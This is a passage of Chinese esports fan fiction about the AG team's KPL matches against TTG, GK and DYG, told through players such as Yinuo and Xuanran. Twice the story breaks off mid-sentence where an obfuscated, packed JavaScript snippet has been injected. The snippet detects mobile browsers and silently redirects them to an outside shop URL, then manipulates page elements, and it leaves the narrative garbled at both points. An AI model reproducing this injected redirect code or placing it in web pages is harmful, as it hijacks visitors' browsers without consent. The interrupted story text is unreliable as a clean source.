“下一局,他们肯定会针对你。”教练Awoke在白板上画着,“可能会ban马超,可能会拿强控阵容。你准备拿什么?” 轩染想了想:“如果他们ban马超,我就拿关羽。如果他们拿强控,我就拿花木兰。总之,我要打战边。” Awoke看着他,看了很久,然后笑了:“好。今天,就让你打个痛快。” --- 第二局BP开始。 TTG果然禁用了马超。AG则按掉了关羽——以牙还牙。 TTG一楼抢下了清清的另一个绝活——花木兰。 AG一楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028852|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁定了轩染的关羽。 现场再次沸腾。花木兰对关羽,经典战边对决! 阵容确定: AG:关羽(轩染)、不知火舞(长生)、公孙离(一诺)、阿古朵(钟意)、张飞(大帅) TTG:花木兰(清清)、西施(九尾)、公孙离(钎城)、裴擒虎(不然)、东皇太一(冰尘) 加载界面,轩染闭上眼睛。 再睁开时,眼神比上一局更锐利。 游戏开始。 这一局,清清打得更加谨慎。花木兰四级前弱势,他选择猥琐发育。轩染的关羽则打得极其主动,清完线就游走,帮中路,帮野区,帮发育路。 四分钟,轩染的关羽配合钟意的阿古朵,在野区抓死不然的裴擒虎。 六分钟,关羽绕后开团,推到三人,为长生创造了完美的收割环境。 八分钟,关羽单带推掉下路二塔。 十二分钟,AG经济领先三千。 清清的花木兰虽然在努力carry,但面对一个无处不在的关羽,还是显得力不从心。 十五分钟,风暴龙王团。轩染的关羽绕后进场,一刀劈中三人!清清的花木兰想要反打,但被长生的不知火舞一套秒掉。 核心阵亡,TTG团战溃败。AG拿下龙王,带着兵线推平水晶。 2:0! AG再下一城! “轩染又carry了!”琪琪激动地说,“两局战边,两局MVP级别的表现!他证明了自己不只是会抗压,他也能carry!” --- 第三局,TTG背水一战,拿出了坦边阵容。 猪八戒、张飞、东皇太一——极致的控制链,专治花里胡哨。 AG这边,轩染选择了花木兰。 “他们想用控制链限制你。”徐必成说。 “我知道。”轩染说,“但我能打。” 游戏开始。 这一局,TTG疯狂针对轩染。东皇太一住在对抗路,张飞随时支援,猪八戒疯狂压线。 轩染的花木兰,前十分钟被压了三十刀,死了两次。 “需要帮忙吗?”钟意问。 “不用。”轩染说,“你们推中,我拖住他们。” 他确实拖住了。一个人拖住了TTG的上野辅三人,为队友创造了巨大的发育空间。 徐必成的公孙离无压力发育,十分钟就做出了三件套。 长生不知火舞到处游走,抓崩了TTG的发育路。 钟意阿古朵控下了所有中立资源。 十二分钟,AG经济领先四千——虽然轩染的经济是全场倒数第二。 “这就是团队。”Cat在解说席上分析,“轩染虽然被针对,但他一个人拖住了三个人,为队友创造了巨大的优势。这就是边路的另一个作用——牺牲自己,成全团队。” 十五分钟,风暴龙王团。TTG想要绝命一波,但徐必成的公孙离装备成型,输出爆炸。轩染的花木兰在侧翼牵制,虽然没打出多少伤害,但限制了TTG的后排。 团战赢了。 3:0,AG拿下赛点。 --- 第四局,TTG彻底心态崩了。 BP混乱,操作变形,沟通失误。 AG轻松拿下比赛。 4:0,AG零封TTG! “让二追三常见,零封强队不常见。”李九感慨,“今天的AG,展现了一支顶级战队该有的样子——每个人都能carry,每个人都能牺牲,每个人都是核心。” 赛后采访,记者把话筒递给轩染。 “今天carry全场,感觉怎么样?” 轩染想了想,说:“不是carry,是团队。第一二局,队友相信我,让我打战边,我carry了。第三局,我被针对,队友站出来了,他们carry了。第四局,我们轻松赢了。所以,不是我在carry,是我们在互相carry。” “那对自己的定位有什么新的理解吗?” “以前我觉得,坦边就是抗压,就是牺牲,就是配角。”轩染说,“现在我觉得,没有配角。每个人都是团队的重要部分。我能抗压,也能carry。关键是,团队需要我做什么,我就做什么。” 采访结束,轩染回到后台。 手机震动,是林晓晓发来的私信:“轩染,今天打得真好。看到你拿马超单杀清清的时候,我哭了。不是因为赢了,是因为看到你找回了那个敢打敢拼的自己。” 轩染盯着那条消息,很久。 然后他回复:“谢谢。我会继续努力。” --- 深夜,AG基地训练室。 轩染没有复盘比赛,而是打开了明天的对手——武汉eStarPro的比赛录像。Estar的边路坦然,也是顶级坦边选手。 但他不紧张了。 因为现在他知道,他不仅能打坦边,也能打战边。团队需要他抗压,他就抗压。团队需要他carry,他就carry。 这才是真正的边路选手。 这才是真正的团队核心。 手机震动,是徐必成发来的消息:“今天打得很好。但记住,这只是一个开始。接下来的比赛,你会遇到更多的挑战。坦然、Fly、清清……每个顶级边路都有自己的绝活。你要做的,不是战胜他们,是成为更好的自己。” 轩染回复:“明白。” 他关掉手机,看向窗外。 月色如水,洒在训练基地的草坪上。 他的手指在键盘上轻轻敲击,像是在弹奏一首无声的乐章。 这首乐章的名字,叫“成长”。 叫“蜕变”。 叫“五核之心”。 AG不是一个人的队伍,不是两个人的队伍,不是三个人的队伍。 是五个人的队伍。 五个人,五颗心,一个目标。 冠军。 他们正在路上。 【第十四章·完】 15. 绝育之路 2022年6月,成都AG超玩会训练基地 暴雨倾盆,雷电在夜空中撕开一道道惨白的裂口。训练室里,只有徐必成面前的屏幕还亮着,蓝光映着他凝重的脸。 他盯着数据面板上的统计图——春季赛常规赛已过大半,发育路选手的各项数据全面下滑。场均输出占比:从去年的28.7%下降到19.3%;分均经济:从去年的520下降到430;场均死亡率:从去年的2.1次上升到3.5次。 绝育路。 这个词像病毒一样在电竞圈蔓延。新版本更新后,防御装全面增强,刺客装备大幅加强,中单工具人成为主流——射手从团队核心变成了行走的提款机。 徐必成关掉数据面板,打开训练营。选公孙离,对着木桩练习走A。一下,两下,三下——手腕不再疼了,但心里某个地方在疼。 他想起2019年秋季赛,那个在总决赛上一推四的公孙离。想起2020年春季赛,那个为了适应版本转型打野的挣扎。想起2021年总决赛,那个带着伤病拼到第五局的自己。 现在,2022年,他又站在了十字路口。 版本在说:射手已死。 数据在说:射手无用。 舆论在说:一诺该退役了。 手机震动,是Cat发来的视频通话请求。 接通。屏幕里,Cat坐在书房,背后是满墙的奖杯。 “还没睡?”Cat问。 “睡不着。”徐必成说,“在想要不要转型。” “打野?” “嗯。版本对打野有利,钟意的坦野虽然强,但野核也能玩。如果我转打野,AG就有双野核体系,战术会更丰富。” Cat沉默了几秒,说:“还记得2019年你转型打野那次吗?” “记得。失败了。” “为什么失败?” “因为……不适应。” “不。”Cat摇头,“因为你心里不想转。你打心底里觉得自己是个射手,你觉得射手才是你的归宿。所以即使操作跟得上,心态也跟不上。” 徐必成没说话。 “现在呢?”Cat问,“你是真心想转打野,还是因为版本逼你转?” 窗外雷声轰鸣,雨点砸在玻璃上噼啪作响。 “我不知道。”徐必成说,“我只知道,如果继续打射手,AG可能走不远。这个版本,射手就是累赘。” “累赘?”Cat笑了,“那你觉得,当年你拿狄仁杰当工具人赢比赛的时候,狄仁杰是累赘吗?” “那不一样……” “一样。”Cat打断他,“英雄没有贵贱,版本没有绝对。重要的是你怎么理解这个位置,怎么在这个位置上为团队做贡献。” 他顿了顿:“徐必成,你知道什么是真正的射手吗?” “输出?” “不,是活着。”Cat说,“是无论版本怎么变,无论对手怎么针对,无论装备怎么削弱,你都能找到活下去的方法,然后,在关键的时刻,打出关键的输出。” 徐必成盯着屏幕,听着窗外的雨声。 “如果你现在转型打野,你就是认输了。”Cat说,“你向版本认输了,向舆论认输了,向你自己的恐惧认输了。但真正的职业选手,从来不会认输。他们会找到新的赢法,在绝境中开辟新的道路。” 视频挂断了。 徐必成一个人坐在训练室里,看着窗外被暴雨洗刷的城市。 雨声中,他仿佛听到了另一种声音——2019年夺冠时观众的欢呼,2021年总决赛失败时队友的哭泣,还有那个在无数个深夜里,对自己说“再坚持一下”的声音。 --- 次日清晨,训练室。 五个少年围在白板前,教练Awoke正在布置今天的训练内容。 “今天打Estar二队,重点练中野辅联动。版本对射手不友好,我们要减少对发育路的依赖。” “那我呢?”徐必成问。 Awoke看了他一眼:“你拿抗压射手,稳住就行。carry交给长生和钟意。” 徐必成点头,但心里某个地方沉了一下。 训练赛开始。徐必成选了狄仁杰,对线Estar二队的射手。开局两分钟,他就被对面中野辅三人越塔强杀。 “First Blood!” “我的。”他说。 “没事。”钟意的澜在上路单杀了对面边路,“我C。” 接下来的比赛,AG确实在赢。长生不知火舞carry了,钟意澜carry了,轩染马超carry了。徐必成的狄仁杰呢?在发育,在抗压,在躺赢。 训练赛结束,AG 3:1赢下。 数据面板,徐必成的狄仁杰:输出占比16.3%,承伤24.7%,参团率65%——典型的工具人数据。 “打得不错。”Awoke说,“尤其是长生和钟意,节奏带得很好。一诺的狄仁杰虽然死了几次,但拖住了对面很多人,为队友创造了发育空间。” “拖住”。 这个词像一根刺,扎进徐必成的心里。 他想起了2019年,他是那个需要队友“拖住”,然后自己来carry的人。 现在,他成了那个“拖住”别人的人。 --- 同一时间,上海医学院图书馆。 林晓晓盯着笔记本电脑上的论文,标题是《长期角色固化对电竞选手竞技状态的影响》。她翻到案例分析部分,看到一个熟悉的数据模式: 选手A,位置:发育路,年龄:19岁,职业生涯:4年。近三个月数据:输出占比下降23%,死亡率上升68%,MVP次数:0。 她的手指在键盘上悬停。 这个“选手A”,虽然没有指名道姓,但特征太明显了。 她关掉论文,打开KPL官网,找到AG最近的比赛录像。点开昨天AG对阵DYG的比赛——AG 2:3输了,输在第五局的风暴龙王团。那一波,徐必成的公孙离被小义的镜切死,核心输出阵亡,AG团战溃败。 弹幕里全是骂声: “一诺又送” “射手版本废物,还拿公孙离” “退役吧,别耽误AG了” 林晓晓咬着嘴唇,打开数据分析软件。她输入徐必成最近十场比赛的数据,生成趋势图——所有曲线都在往下走,像一条没有尽头的下坡路。 但有一个数据引起了她的注意:场均视野得分。 这个赛季,徐必成的场均视野得分是78.3,联盟发育路第一,甚至比很多辅助还高。 什么意思? 她点开比赛录像,一帧一帧地看。发现徐必成在抗压的同时,会频繁用技能探草丛,会主动站在危险的站位给队友提供视野,会在团战前用自己当诱饵吸引火力。 他不是在“送”。 他是在用另一种方式为团队做贡献。 只是这种贡献,数据面板体现不出来,观众眼睛看不出来,舆论也不会认可。 她打开微博,想发点什么,但手指在键盘上停住了。 说什么呢? 说“一诺打得很好,只是你们看不懂”? 谁会信呢? 在这个只看KDA(击杀/死亡/助攻),只看输出占比,只看MVP次数的时代,一个场均死亡3.5次,输出占比19.3%的射手,就是“菜”,就是“拖累”,就是“该退役”。 她关掉微博,打开邮箱。找到AG俱乐部的心理辅导师,开始写邮件。 标题:关于选手心理支持的建议——以发育路选手在版本困境下的状态为例。 内容:根据观察,当前版本对发育路选手造成的心理压力可能远超其他位置。建议俱乐部…… 写完后,她犹豫了一下,在末尾加了一句: “另,附上一份关于手腕康复后期训练的医学建议,希望对一诺选手有帮助。” 点击发送。 --- 三天后,AG vs 佛山GK,成都主场。 赛前预测,七成的人认为GK会赢——因为GK的射手梦岚是这个赛季少数还能carry的发育路选手,而AG的一诺,数据惨淡,状态低迷。 观众席上,AG粉丝区气氛有些压抑。林晓晓和陈薇坐在一起,手里举着徐必成的应援牌,但上面的字已经改了——从“一诺carry”改成了“一诺坚持”。 “今天……能赢吗?”林晓晓问。 “不知道。”陈薇摇头,“但不管输赢,我都会支持他。” 舞台上,BP开始。 GK蓝色方,第一轮禁用了镜和澜——针对钟意。AG则按掉了大乔和鲁班大师。 GK一楼抢下了梦岚的招牌英雄——公孙离。 现场一片哗然。在对手面前抢招牌英雄,这是赤裸裸的挑衅。 AG这边,教练Awoke看向徐必成:“拿什么?马可还是孙尚香?” 徐必成盯着那个公孙离的头像,深吸一口气:“狄仁杰。” “又是狄仁杰?”钟意小声嘀咕。 徐必成听到了,但没说话。 阵容确定: AG:狄仁杰(一诺)、不知火舞(长生)、猪八戒(钟意)、张飞(大帅)、关羽(轩染) GK:公孙离(梦岚)、弈星(青枫)、裴擒虎(鹏鹏)、太乙真人(阿改)、吕布(百兽) 加载界面,徐必成闭上眼睛。 耳机里传来队友的声音: “诺哥,稳住就行。”——钟意 “我帮你抓。”——长生 “我保护你。”——大帅 “我切后排。”——轩染 他睁开眼睛,眼神平静得像一潭深水。 “这一局,我会找到赢的方法。” 游戏开始。 开局,梦岚的公孙离打得极其凶悍。一级就压线,二级就想单杀。徐必成的狄仁杰没有硬拼,只是补刀,做视野,等队友。 “他在怂。”梦岚在语音里说,“一诺不行了,连对线都不敢对了。” 但徐必成不是在怂,是在计算。计算梦岚的走位习惯,计算青枫的支援频率,计算鹏鹏的刷野路线。 四分钟,暴君刷新。GK四人集结开龙,AG只有三人——徐必成的狄仁杰在下路带线。 “放了吧。”钟意说,“我们人不够。” “不放。”徐必成说,“你们骚扰,我偷龙。” “你偷龙?”长生愣住了,“你一个狄仁杰……” “相信我。” AG三人上前骚扰,GK注意力被吸引。徐必成的狄仁杰从下路绕到龙坑后方,开启逐日之弓,超远距离点龙—— 惩戒! 龙被抢了! “狄仁杰抢到了暴君!”李九惊呼,“一诺!他用狄仁杰抢到了暴君!” 现场AG粉丝沸腾了。GK选手席上,梦岚的脸瞬间黑了。 节奏开始转向AG。虽然徐必成的狄仁杰经济依然落后,但他用意识和操作弥补了装备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028853|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差距。每次团战,他都能找到最安全的输出位置;每次被抓,他都能用走位和净化极限逃生;每次推进,他都能用大招开团或者保命。 十五分钟,风暴龙王团。梦岚的公孙离想要秀操作,但徐必成的狄仁杰大招定住,配合队友秒掉。 核心阵亡,GK团战溃败。AG拿下龙王,带着兵线一波推平水晶。 1:0! AG拿下第一局! “一诺!”Cat在解说席上激动地说,“他用狄仁杰打出了教科书级别的工具人射手表现!输出不高,但作用巨大!” --- 中场休息,AG休息室。 气氛和往常完全不一样。所有人都在笑,在闹,在庆祝。 “诺哥,那波抢龙太帅了!”钟意用力拍他的肩膀。 “意识太好了。”长生推了推眼镜。 “继续保持。”徐必成只是笑笑。 但第二局,GK调整了战术。 他们不再针对徐必成,而是针对钟意和长生。把你最强的两个点按死,看你工具人射手还能怎么玩。 这一局,徐必成拿了马可波罗——理论上还能carry的英雄。但GK的针对太狠了,东皇太一加张良,每次马可波罗想转大,必有一个大招等着他。 0:5,马可波罗战绩惨淡。 虽然长生和轩染尽力carry,但终究不敌。 1:1,比分扳平。 第三局,徐必成拿出了公孙离——他的招牌,也是这个版本最弱势的射手之一。 “诺哥,真要拿公孙离吗?”钟意问。 “拿。”徐必成说,“我要证明,不是射手不行,是玩射手的人不行。” 游戏开始。 这一局,徐必成的公孙离打得极其谨慎。不追求单杀,不追求压制,只追求——活着。 清完线就消失,给足边路压力。团战永远在安全位置输出,绝不上头。被抓就用净化加位移极限逃生,绝不贪心。 数据很难看:十分钟,0-0-2,经济全场第四。 但作用很大:他的公孙离牵扯了GK至少两个人的注意力,为队友创造了巨大的发育空间。 十五分钟,风暴龙王团。GK想要强开公孙离,但徐必成的走位太刁钻了,永远卡在技能边缘。GK开团失败,反被AG抓住机会。 长生不知火舞进场收割,拿下三杀。 团战赢了。 2:1,AG再下一城。 第四局,GK心态崩了,AG轻松拿下。 3:1,AG战胜GK! “让一追三!”李九激动地说,“在所有人都认为射手已死的版本,一诺用三局不同的射手,证明了射手还能玩!” 赛后采访,记者把话筒递给徐必成。 “今天carry全场,感觉怎么样?” 徐必成想了想,说:“不是carry,是团队。第一局,我用狄仁杰抢龙,是队友给了我机会。第二局,我马可波罗被针对,但队友站出来了。第三局,我公孙离虽然数据不好,但牵制了很多人,为队友创造了空间。所以,赢比赛的不是我一个人,是我们五个人。” “那对‘绝育路’这个词有什么看法?” 徐必成笑了:“路绝育了,但人没有。版本可以削弱英雄,可以削弱装备,但削弱不了选手的决心和创造力。只要还想赢,就总能找到赢的方法。” 采访结束,徐必成回到后台。 手机震动,是Cat发来的消息:“今天打得很好。你终于明白了——真正的强大,不是逆版本carry,而是在任何版本都能找到赢的方法。” 徐必成回复:“是你教我的。” “不,是你自己悟到的。” 关掉手机,徐必成看向窗外。 雨停了,夜空中有星星在闪烁。 绝育路? 不。 只要他还在这条路上走,这条路就没有绝育。 只要他还相信射手能赢,射手就还能赢。 版本会变,数据会变,舆论会变。 但有些东西不会变。 比如想赢的心。 比如不认输的勇气。 比如在绝境中开辟新路的决心。 这些,才是真正的电竞精神。 这些,才是他选择这条路的理由。 --- 深夜,训练室。 徐必成没有复盘比赛,而是打开了明天的对手——北京WB的比赛录像。WB的射手乔兮,也是这个赛季少数还能carry的发育路选手。 但他不紧张了。 因为现在他知道,射手对决,比的不是谁输出高,不是谁KDA好。 比的是谁更能为团队做贡献。 比的是谁更能找到赢的方法。 他关掉录像,打开训练营。选公孙离,开始练习一种新的连招——不是进攻连招,是逃生连招。如何在被三人围剿时极限逃生,如何在团战中找到最安全的输出位置,如何用最少的装备打出最大的作用。 他要做的,不是逆版本carry。 是在这个对射手最不友好的版本里,重新定义射手。 重新定义,赢的方法。 窗外,月光如水。 他的手指在屏幕上滑动,像在黑暗中摸索光的方向。 这条路很难。 但难,才有走的价值。 绝育之路? 不。 这是一条——重生之路。 【第十五章·完】 16. 涅槃之光 2022年6月,上海KPL电竞中心 总决赛前夜的上海,霓虹灯染红了整片天空。黄浦江的水面倒映着两岸的灯火,像流淌的金色血脉。而在浦东的金融中心区,那座能容纳三万人的体育馆里,空气却凝重得像要凝固。 徐必成站在休息室的落地窗前,俯瞰这座不夜城。右手腕上,那道手术留下的疤痕在灯光下泛着淡粉色的光泽——已经不疼了,医生说康复得很好,甚至比受伤前更稳定,因为经过了系统的康复训练。 但心里某个地方还在疼。 不是为明天的比赛紧张——他打过三次总决赛,赢过,输过,知道那是什么感觉。是为别的。 手机震动,是妈妈发来的消息:“儿子,妈妈到上海了,住在你们酒店隔壁。明天去看你比赛,别紧张。” 他盯着那条消息,眼眶突然发热。 妈妈退休了,这次专程从江西赶来。2019年夺冠那次她没来,2021年输掉总决赛那次她也没来。这次她说:“无论输赢,妈妈都想亲眼看看,你在赛场上发光的样子。” “诺哥。” 身后传来声音。徐必成回头,看到长生站在门口,手里拿着两罐冰可乐。 “还没睡?”徐必成接过可乐。 “睡不着。”长生推了推眼镜,“在想明天的BP。” 两人靠在窗边,看着窗外的城市。远处,东方明珠的灯光在夜空中勾勒出熟悉的轮廓。 “诺哥,你怕吗?”长生忽然问。 “怕什么?” “怕输。”长生说,“怕我们拼了一个赛季,最后还是输给DYG。” 徐必成喝了一口可乐,冰凉的液体滑过喉咙:“怕。但怕也得打。” “可是……”长生犹豫了一下,“如果输了,舆论会说……” “说什么?”徐必成笑了,“说一诺老了,说长生还不够强,说AG五核是笑话?” 长生没说话,算是默认。 这个赛季,AG的五核体系成了联盟最独特的风景。一诺的工具人射手,长生的法刺中核,钟意的野区节奏,轩染的边路carry,大帅的指挥开团——五个人都能C,五个人都能牺牲,五个人都是团队不可或缺的一部分。 但也引来了无数质疑。 “花里胡哨,华而不实” “常规赛可以这么玩,季后赛会被打回原形” “没有绝对核心的队伍走不远” 现在,他们走到了总决赛,对手是DYG——那个上赛季碾压AG夺冠的队伍,那个拥有清清、小义、萧玦、易峥、星宇五个顶级选手的队伍。 “长生。”徐必成看着窗外,“你知道我2019年夺冠的时候,在想什么吗?” “想当英雄?” “不。”徐必成摇头,“想的是——终于赢了。但赢了之后,反而很空虚。因为我不知道下个赛季还能不能赢,不知道我的状态还能保持多久,不知道AG还能走多远。” 他顿了顿:“但现在不一样了。现在我知道,就算明天输了,AG也不会垮。因为AG不再是一个人的队伍,是五个人的队伍。你、我、钟意、轩染、大帅——我们五个人,就是AG的未来。只要我们还在,AG就永远有希望。” 长生盯着可乐罐上凝结的水珠,很久,然后点头:“明白了。” “去睡吧。”徐必成拍拍他肩膀,“明天,我们要让所有人看到,什么是真正的五核。” --- 同一时间,上海某酒店房间。 林晓晓和陈薇挤在一张床上,盯着手机屏幕上的赛前分析。微博热搜前五全是关于总决赛的: #AG vs DYG总决赛# #一诺再战易峥# #长生对萧玦# #五核体系终极考验# 点开第一个词条,评论区已经吵翻了天: “DYG 4:0带走,没悬念” “AG五核就是个噱头,真打起来还是靠一诺” “一诺现在就是个混子,拿什么跟易峥打” “楼上闭嘴,一诺工具人打得很好” 林晓晓咬着嘴唇,手指在键盘上悬停。她想反驳,但又不知道说什么。因为从数据上看,一诺这个赛季确实“混”——场均输出19.3%,分均经济430,MVP次数2次。 但看过比赛的人都知道,他的作用远不止数据面板上那些。 她关掉微博,打开一个加密文件夹。里面是她这个学期做的课题研究——《电竞选手隐性贡献的量化评估模型》。她尝试用更科学的指标来衡量选手价值:视野控制率、资源交换效率、战术执行度…… 根据她的模型,一诺的“团队贡献指数”是联盟发育路第一,甚至高于很多中单和打野。 但谁会看这些呢? 在这个娱乐至死、数据至上的时代,人们只想看到华丽的击杀,爆炸的输出,精彩的操作。那些默默无闻的贡献,那些为团队牺牲的隐忍,那些在绝境中寻找希望的坚持——这些,都太“不刺激”了。 “晓晓。”陈薇忽然说,“你觉得明天AG能赢吗?” 林晓晓想了想,说:“能。” “为什么这么肯定?” “因为……”林晓晓看向窗外,“因为他们五个人,不是为了个人荣誉在打,是为了AG在打。为了证明五核可以赢,为了证明工具人射手有价值,为了证明——电竞不是一个人的游戏。” 陈薇沉默了一会儿,然后笑了:“你说得对。明天,我们去现场,为他们加油。” --- 总决赛当日,上海KPL电竞中心。 下午三点,场馆外已经人山人海。DYG的蓝黑色和AG的黑红色把广场分割成两个阵营,粉丝们举着应援牌,喊着口号,空气中弥漫着硝烟的味道。 林晓晓和陈薇提前两个小时入场,坐到了第三排——这是她们能抢到的最好位置。周围全是AG的粉丝,手幅、灯牌、横幅……几乎要把这一片染成黑红色。 “你看那边。”陈薇指了指对面DYG粉丝区,“人比我们多。” 确实,DYG的粉丝区坐满了人,声势浩大。毕竟他们是卫冕冠军,是这个赛季的夺冠最大热门。 “没关系。”林晓晓说,“人少,声音大就行。” 灯光暗下,选手入场。 当AG五人走上舞台时,现场爆发出巨大的欢呼和嘘声的混合体。DYG的粉丝在喊“DYG”,AG的粉丝在喊“AG”,声音交织在一起,像两军对垒的战鼓。 徐必成走在队伍最前面。他今天穿了崭新的总决赛队服,黑红配色,背后印着“AG.一诺”。他朝观众席挥了挥手,然后坐下,戴上耳机。 导播给了一个特写镜头。屏幕上的他表情平静,眼神专注,完全看不出这是一个打了三次总决赛的老将。 解说席上,Cat穿着深灰色西装,表情严肃。 “欢迎来到2022年KPL春季赛总决赛。”李九的声音响起,“AG超玩会对阵DYG,这是两支队伍连续第二个赛季在总决赛相遇。去年,DYG 4:1战胜AG夺冠。今年,AG卷土重来,带着全新的五核体系,想要复仇。” 琪琪接话:“而且版本变化很大。射手沦为工具人,中单和打野成为核心。这对AG的五核体系是个考验——他们到底是真的五核,还是伪五核?今天,我们将得到答案。” BP开始。 --- 第一局,DYG蓝色方。 DYG教练SK站在选手席后方,手里拿着战术本。他是联盟最顶级的教练之一,以研究透彻、战术针对性强著称。 “禁公孙离和孙尚香。”SK说,“针对一诺。” DYG前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。 “一楼拿澜。”SK说,“逼他们拿镜。” DYG锁定澜。AG毫不犹豫地锁定了镜——钟意最自信的英雄,也是这个版本的T0打野。 “他们在赌。”SK对清清说,“赌钟意的镜能带起节奏。” “那我们……” “拿张良和东皇。”SK说,“双强控,专治花里胡哨。” DYG二楼三楼锁定了张良和东皇太一。现场一片哗然——这是他们去年用来克制AG的阵容,现在又拿出来了。 AG这边,教练Awoke皱眉:“他们在针对我们的野射双核。” “那就打三核。”徐必成说,“长生拿干将,轩染拿马超,我拿狄仁杰。” 阵容确定: AG:镜(钟意)、干将莫邪(长生)、狄仁杰(一诺)、太乙真人(大帅)、马超(轩染) DYG:澜(小义)、张良(萧玦)、虞姬(易峥)、东皇太一(星宇)、吕布(清清) 加载界面,徐必成深呼吸。 “记住,第一局试探为主。”他在语音里说,“摸清他们的节奏和习惯。” “明白。” 游戏开始。 开局,小义的澜果然凶猛。二级就入侵野区,钟意的镜虽然前期强势,但在澜的骚扰下还是丢了第一个红Buff。 “我的红……”钟意说。 “让了。”徐必成很冷静,“你刷完蓝区抓中,长生有线权。” “好。” 钟意刷完蓝区升到四级,果然往中路走。长生的干将莫邪已经压低了萧玦张良的血量,镜进场一套连招—— 但萧玦的反应快到极致。张良闪现拉开距离,反手二技能封路。几乎同时,东皇太一从草丛里钻出来,大招吸住镜! “First Blood!” 镜送出一血。 “我的。”钟意声音低沉。 “没事。”徐必成说,“继续打。” 但DYG的节奏已经起来了。SK的指挥精准如手术刀,每一次进攻都打在AG最难受的时间点。小义的澜在野区横冲直撞,钟意的镜完全被压制。 十二分钟,经济差拉到五千。 “守不住了。”大帅说。 “能守。”徐必成的狄仁杰在塔下清兵,“拖后期,我们能翻。” 但DYG显然不打算给机会。十五分钟,DYG带着主宰先锋上高地。萧玦的张良闪现开团,大中长生的干将。小义的澜进场收割,拿下三杀。 团灭。 水晶爆炸。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛有些凝重。 “他们的节奏太快了。”钟意说,“我根本动不了。” “清清吕布的支援速度比我们预想的还要快。”长生推了推眼镜。 “我的问题。”徐必成说,“我没能稳住下路。” “不,是阵容问题。”教练Awoke在白板上画着,“DYG的阵容前期太强,我们不该拿这么后期的阵容。第二局,我们要抢节奏。” “怎么抢?”大帅问。 “打中核。”Awoke说,“长生拿不知火舞,一诺拿工具人射手,钟意拿蓝领野,轩染拿坦边,大帅拿开团辅助。我们要围绕长生打。” 徐必成点头,但心里有另一种想法。 第二局BP开始。 AG蓝色方,一楼锁定了不知火舞。DYG反手拿出了东皇太一和张良——又是强控阵容。 “他们在针对我们的中核。”长生说。 “那就打三核。”徐必成说,“我拿马可波罗,轩染拿吕布,钟意拿阿古朵。我们三个都能carry。” 阵容确定: AG:不知火舞(长生)、马可波罗(一诺)、阿古朵(钟意)、鬼谷子(大帅)、吕布(轩染) DYG:澜(小义)、弈星(萧玦)、虞姬(易峥)、东皇太一(星宇)、老夫子(清清) 加载界面,徐必成深吸一口气。 这一局,他是核心之一。他必须站出来。 游戏开始。 这一局,AG打得很凶。长生的不知火舞三级就游走,钟意的阿古朵四级就入侵,大帅的鬼谷子闪现开团。 但DYG的应对更胜一筹。东皇太一和张良像连体婴儿一样,每次不知火舞露头,必有一个大招等着她。 六分钟,不知火舞被抓死三次,经济落后一千。 “我动不了。”长生声音有些急躁。 “稳住。”徐必成的马可波罗在下路发育,“等我装备。” 但DYG显然不打算等。十分钟,DYG带着主宰先锋上高地。清清的老夫子闪现开团,大中长生的不知火舞。东皇太一大招吸住马可波罗。 AG瞬间减员两人,高地被破。 虽然轩染的吕布极限操作,拿下双杀,但终究寡不敌众。 水晶爆炸。 0:2。 AG落后两局。 --- 现场,DYG粉丝的欢呼声震耳欲聋。 AG粉丝区一片沉默。林晓晓紧紧握着陈薇的手,手心全是汗。 “还有机会吗?”她问,声音有些颤抖。 “有。”陈薇说得很坚定,“让二追三的比赛,KPL历史上不是没有过。” 但她也知道,让二追三太难了。尤其是在总决赛,面对DYG这样的强队。 舞台上,徐必成摘下耳机。 他看着屏幕上“失败”二字,看着手腕上那道疤痕,看着台下那些哭泣的粉丝。 然后,他笑了。 不是苦笑,是真的笑。 因为现在他知道,该做什么了。 “第三局,我们换个打法。”他在语音里说。 “怎么换?”钟意问。 “不打中核,不打野核,不打射核。”徐必成说,“打五核。” “五核?”四个队友都愣住了。 “对。”徐必成说,“不是伪五核,是真五核。没有绝对核心,没有绝对工具人。每个人都是核心,每个人都能carry,每个人都能牺牲。我们要用DYG最熟悉的体系,打败DYG。” 休息时间结束,五人重新上场。 导播给了一个特写镜头——徐必成在跟队友说着什么,表情认真而坚定。 “AG好像调整了战术。”李九说,“看一诺的表情,很有信心。” --- 第三局BP开始。 AG蓝色方,一楼锁定了镜。DYG反手拿出了东皇太一和张良——还是强控阵容。 但AG接下来的选择让所有人都看不懂了。 二楼:干将莫邪——长生 三楼:马可波罗——徐必成 四楼:关羽——轩染 五楼:太乙真人——大帅 “这是什么阵容?”琪琪疑惑,“镜、干将、马可、关羽、太乙——五个都能carry的英雄,但谁才是真核?” DYG显然也没看懂。他们在四楼五楼犹豫了很久,最后拿出了清清的吕布和小义的澜。 阵容确定: AG:镜(钟意)、干将莫邪(长生)、马可波罗(一诺)、关羽(轩染)、太乙真人(大帅) DYG:澜(小义)、弈星(萧玦)、虞姬(易峥)、东皇太一(星宇)、吕布(清清) 加载界面,徐必成在语音里说:“这一局,没有核心。或者说,每个人都是核心。抓到机会就上,不要犹豫。” “明白!” 游戏开始。 